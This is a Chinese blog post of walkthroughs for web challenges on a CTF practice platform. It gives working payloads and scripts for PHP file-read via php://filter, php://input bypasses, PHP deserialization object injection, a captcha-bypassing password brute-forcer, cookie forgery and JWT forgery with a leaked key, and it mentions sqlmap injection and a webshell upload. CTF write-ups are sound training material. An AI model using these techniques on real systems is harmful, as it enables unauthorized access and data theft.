论剑场中部分web题的WP

好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客!

web25

有一个输入框,一个下载链接,随便输入显示wrong!,下载链接进去后转http://123.206.87.240:10025/2/ziidan.txt显示下载错误,经多方尝试直接访问链接http://123.206.87.240:10025/ziidan.txt会出现一些类似字典的字符串,如下

asdhjk
dakjhkjwq
adkjhsdk
fkdjknbv
dkajshdlj
hjsjnb
sdalkj
flagf
sfksjhwqe
dsalkjlkqjwe
hsjnb

尝试提交第一次打开链接的输入框提交,但是所有的都返回wrong!,然后用dirsearch扫描目录,有shell.php,打开后也有一个输入框,尝试提交之前上面的字符串……最后一个正确,获取flag。

web3

打开链接可以看到是文件上传,猜测是文件上传漏洞,但是经过burp多次测试,无法上传php文件,因为文件上传后会被重命名。但是可以看见文件上传界面链接为http://123.206.87.240:10003/?op=upload,猜测php伪协议,因此用php://filter/读取文件,构造payload:

http://123.206.87.240:10003/?op=php://filter/read=convert.base64-encode/resource=flag

获取得到flag。当然也可以获取upload.php文件内容,可以看到确实文件上传后保存于uploads文件夹下并且重命名。

参考:
[1] php伪协议

web4

打开链接是一个登录界面,猜测是注入,sqlmap大法,直接用POST的注入测试,发现是基于时间的注入,因此查库和表,可以看到账号和密码都是kk明文,故登录返回flag。看WP还可以尝试万能密码登录,直接获取flag。

web8

此题貌似数据库被篡改了……

web15

有提示vim编辑器,因此猜测是备份文件泄露,但是测试了vim的备份后缀,都没有文件,因此用dirsearch工具直接扫描,有index.php~文件,下载后获取源码:

<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
    header('location:./1ndex.php');
}else{
	$id = $_GET['id'];
	if (!is_numeric($id)) {
		$id = intval($id);
		switch ($id) {
			case $id>=0:
				echo "快出去吧,走错路了~~~<br>";
				echo "这么简单都不会么?";
				break;
			case $id>=10:
				exit($flag);
				break;
			default:
				echo "你走不到这一步的!";
				break;
		}
	}
}

?>

可以看到此题需要三个点:

  • 上传id参数值
  • 绕过is_numeric函数
  • 绕过Switch中的id比较

按上述步骤,构造payload:

http://123.206.87.240:10015/index.php?id=aaa

获取得到flag

此处有一个疑问就是intval函数会将传入的非数字转换为0,为什么switch中的$id>=10true并且打印出flag?具体查看参考。

参考

[1] vim产生的备份文件和临时文件
[2] intval函数介绍
[3] 关于PHP的switch比较

web22

打开链接是一个错误的页面,直接用dirsearch扫描,发现个页面,其中有一个是upload.php上传文件界面,可上传jpg文件,burp抓包修改文件内容为一句话,以及修改文件后缀,上传成功,蚁剑成功连接,上一级文件下存在TH1s_a_flag_can_yOU_fiNd.txt文件,获取flag。

web14

很简单的一道.git泄露题,扫描目录,发现很多.git文件,因此用Githack工具直接下载文件,发现有flag.php文件,由此获取flag

web21

此题算是代码审计题,访问链接可以在页面注释中看到源码,如下。

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

审计代码可以判断需要完成或绕过以下点:

  • GET方式上传userfilepass3个参数值
  • 绕过if条件

基于上述两个点,用php://input的POST方式绕过file_get_contents(),构造payload:

POST /?user=php://input&file=class.php&pass=aaa HTTP/1.1
Host: 123.206.87.240:10021
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 5

admin

burp抓包执行,可以看到返回hello admin!,说明已经成功进入if条件,但是没有其他的返回,再审计代码,代码中有file传参和include(),猜测可以用文件包含漏洞伪协议方式获取源码,故构造payload:

file=php://filter/read=convert.base64-encode/resource=index.php

burp执行,可以返回index.php的base64编码,解码后得到源码如下。

<?php
//web21
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

同样的方式可以获取class.php的源码。

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

可以看到flagf1a9.php中,但是index.php中过滤了f1a9,因此file无法直接传参f1a9.php。但是在index.php中有反序列化执行,因此结合class.php生成payload。首先将class.php中的类序列化。

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file = "f1a9.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}

$a = new Read();
$b = serialize($a);
echo $b;  //O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
?>

**注意:**给类中的$file赋值!

然后将对象序列传给pass,burp执行返回flag,最终的payload为:

POST /?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} HTTP/1.1
Host: 123.206.87.240:10021
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Origin: http://123.206.87.240:10021
Connection: close
Upgrade-Insecure-Requests: 1

admin

参考

[1] file_get_content绕过
[2] php伪协议

web23

此题应该是验证码绕过题,然后爆破。打开题目链接,可以看见关于验证码是时间戳的提示,其他没有任何提示或有用的信息,因此用dirsearch扫描,得到几个文件页面。

[21:11:46] 301 -  178B  - /admin  ->  http://123.206.87.240:10023/admin/
[21:11:48] 200 -   38B  - /admin/login.php                        
[21:11:48] 200 -    3KB - /admin/login.html                             
[21:12:11] 200 -  795B  - /index.html                                    
[21:12:25] 200 -  187B  - /readme.txt                                       
[21:12:25] 200 -   36B  - /robots.txt 

有登录界面,果然登录界面的验证码是时间戳后五位,但是用admin尝试登录,显示错误,逐个查看扫描出的文件,发现readme.txt中有关于密码的提示,并且1.png是关于验证码绕过的方便爆破密码。

//readme.txt

网站默认登录用户名和密码为
admin
123

用户登录后可自行修改密码
密码只支持3位数字


你也想学php验证码啊

http://123.206.31.85:10023/1.png

测试123是错误的,因此按照1.png的教程绕过验证码,爆破密码,构造payload。

import requests
import time

url_post = "http://123.206.87.240:10023/admin/login.php"
headers = {'Cookie':'PHPSESSID=00000'}
for i in range(10):
    for j in range(10):
        for k in range(10):
            pass_tmp = str(i)+str(j)+str(k)
            data={'username':'admin','password':pass_tmp,'verifycode':'','submit':''}
            res = requests.post(url_post,data=data,headers=headers)
            if len(res.text) != 68:
                print(pass_tmp)
                print(res.text)
                break

参考

[1] emlog绕过验证码刷评论

web7

打开题目链接,可以看到一个登录框,测试admin登录后返回权限不够的信息,注册后登录任然权限不够,故burp抓包,发现登录胡返回页面Cookie有两个。

u=351e76680321232f297a57a5a743894a0e4a801fc3
r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff

可以从显示的页面小饼干系统猜测于与Cookie有关,因此对上满的Cookie仔细研究,看着类似于md5的hash值,但是前几位是一样,去掉前几位在cmd5上解密,得到如下。

u->admin
r->limited

猜测是不是将r后的md5值改变会出现flag,因此抓包,将admin的md5值赋给r,发送获得flag

web24

这是个反序列化绕过__wakeup函数的题,修改序列化的对象数即可,但是注意两点:

  • 在页面源码最下面找到真正的题目页面
  • 对象序列化后不要直接打印出后复制,然后base64编码,需要代码修改序列后base64编码再打印复制,因为对象序列化后存在00%无法复制,因此会出现错误,base64编码后再复制可以避免这个问题。

参考

[1] PHP字符逃逸导致的对象注入

web10

此题是JWT登录问题,打开题目链接,可以看到是一个登录网页,测试admin显示错误,burp抓包,可以看到网页源码中有注释提示<!--hint:NNVTU23LGEZDG===-->,看着像Base64但是解码出错,然后用Base32测试,得到kk:kk123,登录后可以看到有一个提示。

L3yx这家伙上次说vim一点都不好用,他写这个网站主页的时候还突然崩了,但他现在还不是在用,真香!
他好像还在这网站写了什么秘密,我一定要登他账号上去看看!

说明有vim的备份文件,直接访问http://123.206.87.240:3032/,可以显示目录,下载L3yx.php.swp,然后用vim -r L3yx.php.swp恢复文件,可以看到源码:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在线日记本</title>
<form action="" method="POST">
  <p>username: <input type="text" name="username" /></p>
  <p>password: <input type="password" name="password" /></p>
  <input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>

<?php
    error_reporting(0);
    require_once 'src/JWT.php';

    const KEY = 'L3yx----++++----';

    function loginkk()
    {
        $time = time();
        $token = [
          'iss'=>'L3yx',
          'iat'=>$time,
          'exp'=>$time+5,
          'account'=>'kk'
        ];
        $jwt = \Firebase\JWT\JWT::encode($token,KEY);
        setcookie("token",$jwt);
        header("location:user.php");
    }

    if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
    {
        if($_POST['username']=='kk' && $_POST['password']=='kk123')
        {
            loginkk();
        }
        else
        {
            echo "账号或密码错误";
        }
    }
?> 

可以看到登录后有JWT设置Cookie

Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNjMyODQxMzk5LCJleHAiOjE2MzI4NDE3OTAsImFjY291bnQiOiJMM3l4In0.hEHAepX5USEFHZnGdo2vPdtclLqA0rqSF8nWQkSsd3A

前两部分解码后

{"typ":"JWT","alg":"HS256"}{"iss":"L3yx","iat":1632841399,"exp":1632841790,"account":"L3yx"}

同时跳转到user.php,因此可以通过JWT生成的网站https://jwt.io/修改accountexp,然后利用Cookie登录,并且将源码中的key:L3yx----++++----,输入到密钥中,返回flag

参考

JWT伪造

web19

此题是一道综合题,有以下几个点

  • .git泄露
  • sql注入
  • snow隐写
  • 对象序列化
  • Cookie传对象

针对第一点,打开网页没什么信息,直接用dirsearch扫描网址,很多.git的目录,然后用工具Git_Extract.py进行下载文件,可能因为waf或者一些原因,可以看到只下载了一个flag.txt文件,打开文件没有flag,而是一个路径提醒Hint 1: flag is in /eXpl0ve5p0cVeRymuCh
针对第二点,打开上述的路径,可以看见一个登录界面,测试admin,显示错误,直接抓包,用sqlmap测试POST注入,测试出是基于时间的盲注,然后爆出库与表,得到用户与密码,还得到一个提示。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElXnk5Og-1634041298935)(vx_images/1364239231082.png)]
针对第三点,用第二中得到的用户密码登录,可以看到一些记录,但是也没有什么提示,查看源码有一个提示,因为不知道snow隐写,因此只能查看WP,大佬用snow.exe解码,得到flag in /PPPPOOO0CCCC.php,猜测flag在此文件中。
针对第四点,可以看到第二点数据库爆出一个代码截图,应该是提示,需要序列化与反序列化后执行类中的__destruct方法,因此构造payload为:

<?php
class ReadFile {
    public $file='../../PPPPOOO0CCCC.php';
}

$payload = new ReadFile();
echo urlencode(serialize($payload));

//O%3A8%3A%22ReadFile%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A22%3A%22..%2F..%2FPPPPOOO0CCCC.php%22%3B%7D

逐级测试后发现PPPPOOO0CCCC.php的目录在上上级中。

针对第五点。上述payload生成后,无法上传,抓包发现其Cookie中有text,是url编码,解码后发现是一个序列化的对象,因此用上述生成的payload更换改参数,重新发送获得flag。

web 16

算式实战题,打开链接抓包查看,可以看到一个比较异常的Cookie,猜测是修改Cookie获取flag,但是无从下手,在网页源码中可以看到3个js文件分别是script.jsmd5.jsbase64.js,控制台查看文件,看不出什么线索……然后查看WP,原来是js的Packer打包,之前没有见过,script.js是packer打包。

eval(function (p, a, c, k, e, r) {
  e = function (c) {
    return (c < 62 ? '' : e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29)  : c.toString(36))
  };
  if ('0'.replace(0, e) == 0) {
    while (c--) r[e(c)] = k[c];
    k = [
      function (e) {
        return r[e] || e
      }
    ];
    e = function () {
      return '[57-9abd-hj-zAB]'
    };
    c = 1
  };
  while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
  return p
}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}', [
], 38, '|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'), 0, {
}))

解码后;

function getCookie(cname) {
	var name = cname + "=";
	var ca = document.cookie.split(';');
	for (var i = 0; i < ca.length; i++) {
		var c = ca[i].trim();
		if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
	}
	return ""
}
function decode_create(temp) {
	var base = new Base64();
	var result = base.decode(temp);
	var result3 = "";
	for (i = 0; i < result.length; i++) {
		var num = result[i].charCodeAt();
		num = num ^ i;
		num = num - ((i % 10) + 2);
		result3 += String.fromCharCode(num)
	}
	return result3
}
function ertqwe() {
	var temp_name = "user";
	var temp = getCookie(temp_name);
	temp = decodeURIComponent(temp);
	var mingwen = decode_create(temp);
	var ca = mingwen.split(';');
	var key = "";
	for (i = 0; i < ca.length; i++) {
		if ( - 1 < ca[i].indexOf("flag")) {
			key = ca[i + 1].split(":")[2]
		}
	}
	key = key.replace('"', "").replace('"', "");
	document.write('<img id="attack-1" src="image/1-1.jpg">');
	setTimeout(function() {
		document.getElementById("attack-1").src = "image/1-2.jpg"
	},
	1000);
	setTimeout(function() {
		document.getElementById("attack-1").src = "image/1-3.jpg"
	},
	2000);
	setTimeout(function() {
		document.getElementById("attack-1").src = "image/1-4.jpg"
	},
	3000);
	setTimeout(function() {
		document.getElementById("attack-1").src = "image/6.png"
	},
	4000);
	setTimeout(function() {
		alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
	},
	5000)
}

貌似是解码Cookie的,在控制台直接调用函数,可以看到解码后的Cookie

O:5:"human":10:{s:8:"xueliang";i:897;s:5:"neili";i:640;s:5:"lidao";i:74;s:6:"dingli";i:52;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}

可以修改属性,提交后按照游戏规则购买武器修炼,打败了蒙老魔,就能够获取flag

但是如何在讲修改后的对象编码为可以提交的Cookie,继续查看WP,大佬给出php脚本:

<?php
function encode($payload) {
    $result = '';
    for($i = 0; $i < strlen($payload); $i++) {
        $b = ord($payload[$i]);
        $b = $b + (($i % 10) + 2);
        $b = $b ^ $i;
        $result = $result.chr($b);
    }
    return $result;
}

$payload = 'O:5:"human":10:{s:8:"xueliang";i:12;s:5:"neili";i:856;s:5:"lidao";i:83;s:6:"dingli";i:92;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:1000000;s:4:"flag";s:1:"1";}';

echo base64_encode(encode($payload));
?>

money属性值修改为1000000,编码提交修炼,然后打败老魔获取flag

上一篇:SQL Server 运行状况监控SQL语句


下一篇:感激遇到你和弦